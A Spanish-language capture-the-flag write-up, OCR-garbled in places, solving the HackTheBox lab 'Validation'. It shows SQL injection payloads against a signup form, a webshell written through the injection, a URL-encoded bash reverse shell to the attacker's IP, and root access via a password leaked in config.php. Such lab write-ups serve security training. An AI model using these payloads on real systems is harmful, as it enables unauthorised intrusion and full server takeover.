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Introduccion

En este writeup vamos a resolver la maquina Validation de la plataforma HackTheBox.
En una maquina Linux y su nivel de dificultad es facil. En esta maquina escribiremos una
WebShell que inyectaremos utilizando una vulnerabilidad SQL presente en el formulario
inicial. Con esta Shell, accederemos a la méaquina objetivo para encontrar la primera flag.
Para acceder a root, utilizaremos una password filtrada en el archivo config.php que
podemos encontrar en los archivos del servidor web.

Enumeracion
Comenzamos por escanear nuestro objetivo. Primero realizamos un escaneo simple
rapido que nos muestre informacion bésica de los servicios expuestos.

Ahora realizamos un escaneo méas minucioso de Unicamente los puertos abiertos.

8

20
o



https://www.hackthebox.com/

01 Ubuntu 4ubuntu@.3 (Ubuntu Linux; prc

set=UTF-8).

Tenemos los siguientes puertos abiertos:

o 22 SSH OpenSSH 8.2pl

e 80 http  Apache httpd 2.4.48

e 4566 http nginx (devuelve error 403)
e 8080 http nginx (deveulve error 502)

Vamos a realizar descubrimiento de directorios y archivos en el servidor.

arget: http://10.10.11.116/

[22:27:41] Starting:

Tenemos un archivo config.php, vamos a ver su contenido.
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@ 10.10.11.116/config.php x <+

< C A Noesseguro | 10.10.11.116/cenfig.php

Pero parece que no podemos ver su contenido a través del navegador.

Viendo los resultados obtenidos, nos centraremos en el formulario. Vamos a abrirlo en
el navegador.

Join the UHC - September
Qualifiers

Register Now

Username Brazil ~ § Join Now

Tenemos una entrada de nombre de usuario.

Vamos a probar este campo, afiadiendo un nombre y eligiendo un pais.

Join the UHC - September
Qualifiers

Welcome elhackeretico
Other Players In Spain

» elhackeretico

Vamos a afiadir otro usuario y a analizar la solicitud en Burp Suite.




Como se puede ver, hay dos parametros que se envian al servidor por solicitud POST,
estos son el nombre de usuario y el pais. Reenviamos la solicitud para ver la respuesta del
servidor.

Content-Type: text/html; charset=UTF-8

El servidor tiene un encabezado Set-Cookie que tiene un pardmetro de usuario. Si marca
el tipo de valor de usuario, entiende que es una cadena MD5 basada en su nombre de
usuario.

NOTA: Algunos desarrolladores intentan crear la cookie por valor de nombre de usuario
y cambiarla a algunos formatos. De hecho, esta es una vulnerabilidad porque un atacante
puede cambiar muchos nombres de usuario a una cadena MD5 e intentar enviar las
solicitudes mediante una nueva cookie e intentar acceder al perfil de los usuarios.

Creamos mas usuarios para el mismo pais.




Join the UHC - September
Qualifiers

Welcome elhackeretico _testl
Other Players In Spain

= elhackeretico

« elhackeretico_test
« elhackeretico

» elhackeretico_testl

Flag user.txt

Con todo lo anterior, vamos a comenzar a probar los ataques de SQLi Vamos a verificar
si se puede romper la consulta SQL agregando comillas simples o comillas dobles.

Probamos afiadiendo una comilla simple al pais, y enviando la solicitud, pero en la
respuesta no aparece ninguna pista de error SQL. VVolvamos al navegador y
actualicemos la pagina.
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Join the UHC - September
Qualifiers

Welcome elhackeretico

Other Players In Spain'

Aparece un mensaje de cddigo de error. Vamos a ver el codigo fuente de la pagina para
verlo con més claridad.

<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>

<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min. js"></script=

<l------ Include the above in your HEAD tag ---------- >

<div class="container"=
<hl class="text-center m-5"=Join the UHC - September Qualifiers</hl=

</div=
<section class="bg-dark text-center p-5 mt-4"=>
<div class="container p-5"=
<hl class="text-white"=Welcome elhackeretico</hl=<h3 class="text-white"=0ther Players In Spain'</h3=<br
b>Fatal error</b>: ht Error: Call to a member function fetch assoc() on bool in /var/www/html/account.php:33

thrown in <b>/var/www/html/account. /b= on line <=b=>33</b=<br /:

Nuestro objetivo es vulnerable a los ataques de inyeccion SQL. Afiadimos el parametro
‘or’1’="1, enviamos a solicitud, y por otro lado, actualizamos la pagina account.php.
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Join the UHC - September
Qualifiers

Welcome elhackeretico
Other Players In Spain'or'l'="1

.
« elhackeretico
« elhackeretico_test
« elhackeretico
« elhackeretico_testl

Vamos a seguir probando comandos aprovechando la vulnerabilidad SQL..

Vamos a listar la versién de la base de datos.

x64) AppleWebKit KHTML, like

9, 1mage/avit, 1mar p,lmage/apng, */*; g

ername=elhackeretico




Join the UHC - September Qualifiers

Welcome elhackeretico
Other Players In Spain' union select version()-- -

» 10.5.11-MariaDB-1

Podemos listar las bases de datos.

Join the UHC - Septembet
Qualifiers

Welcome elhackeretico

Other Players In Spain' union select
schema_name from
information_schema.schemata-- -

« information_schema
« performance_schema
«  mysqgl
« registration

Vamos a probar si podemos subir archivos al servidor aprovechando la vulnerabilidad
presente.

M{$ REQUEST['emd']); 7="
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De esta manera creamos una WebShell en el servidor que se utiliza para obtener la
ejecucion de codigo. Si navegamos a 10.10.11.116/elhackereticoshell.php, podemos
confirmar que el archivo existe.

& 10.10.11.116/elhackeret x +

< C A Noesseguro | 10.10.11.116/elhackereticoshell.php
Warning: system(): Cannot execute a blank command in /var/www/html/elhackereticoshell.php on line 1

Para obtener una Reverse Shell es tan simple como enviar un payload bash codificado
como URL.:

Payload: %2Fbin%2Fbash%20-c%20"bash%?20-
1%20>%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F443%200>%261"

@ 10.10.11.116/elhackereticc. x  +

& C A Noesseguro | 10.10.11.116/elhackereticoshell.php?cmd=%2Fbin%2Fbash%20-c %20 "bash%20-i%20>%26%20%2Fdev%2Ftcp
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Y ya tenemos la flag user.txt

Elevacion de privilegios

Antes, en la enumeracion de directorios, recordemos que descubrimos un archivo
config.php, que no pudimos acceder a su contenido a través del navegador. Vamos a
buscarlo, ahora que tenemos acceso a la maquina objetivo, vamos a ver si podemos listar
su contenido.

Tenemos el contenido del archivo config.php. En el contenido, vemos una password. Nos
la guardamos, por si pudiese ser interesante.

Vamos a probar esta contrasefia para elevar a usuario root.

idation:

uhc-9qual-g

Tenemos acceso con el usuario root o de maximos privilegios. Buscamos la flag.
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Y tendriamos la maquina acabada.

12



